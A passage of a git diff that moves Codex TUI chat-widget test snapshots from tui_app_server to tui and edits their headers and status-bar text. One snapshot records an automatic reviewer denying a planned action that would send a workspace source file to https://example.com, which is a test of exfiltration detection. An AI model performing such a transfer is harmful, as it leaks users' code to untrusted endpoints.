codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap index 2ce417092..6ff2edef8 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob3 +expression: active_blob(&chat) --- • Exploring └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap similarity index 74% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap index 9e29785f7..de15e7ca2 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob4 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap similarity index 74% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap index 296b00f90..de15e7ca2 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob5 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap similarity index 76% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap index 55fa97912..2a8ed11b7 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob6 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap similarity index 83% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap index ea71ac4ff..6aeb8c3a4 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- ✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap index 15fe7dc14..5cc6b31da 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap @@ -1,15 +1,7 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 9085 expression: term.backend().vt100().screen().contents() --- - - - - - - - ⚠ Automatic approval review denied (risk: high): The planned action would transmit the full contents of a workspace source file (`core/src/codex.rs`) to `https://example.com`, which is an external and untrusted endpoint. @@ -22,4 +14,4 @@ expression: term.backend().vt100().screen().contents() › Ask Codex to do anything - ? for shortcuts 100% context left + gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap similarity index 84% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap index a8a3b303b..b5fba2904 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: rendered --- • Reviewing 2 approval requests (0s • esc to interrupt) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap index e268c2ef2..452834c96 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 5889 expression: combined --- • Generated Image: diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap similarity index 77% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap index b3bbb5008..bf70c4046 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: snapshot --- cells=1 diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap similarity index 66% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap index f8d81249f..416b5558f 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: blob --- • You ran python3 -c 'print("Hello, world!")' diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap index 6074ed1f2..06e47fc82 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap similarity index 93% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap index 56dff7b5f..3deb2f965 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 1989 expression: popup --- Select Model and Effort diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap similarity index 93% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap index 0586c4db6..0d57fceac 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 6001 expression: popup --- Enable subagents? diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap similarity index 86% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap index f3e537cfc..9cc7afa1f 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7963 expression: "lines_to_single_string(&cells[0])" --- • Permissions updated to Full Access diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap similarity index 91% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap index 487141a2a..b9e5683c4 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap similarity index 89% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap index 651a323aa..71ae46d78 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap similarity index 92% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap index 70e6b9d40..3c46da769 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap index f1f18c1ea..2b0f6837e 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap similarity index 81% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap index ab0724d34..d65308fb5 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap index 67376a9fb..722aa89e4 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Running PostToolUse hook: warming the shell diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap similarity index 79% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap index f9a87c568..11fa8ab8e 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Running PreToolUse hook: warming the shell diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap similarity index 87% rename from 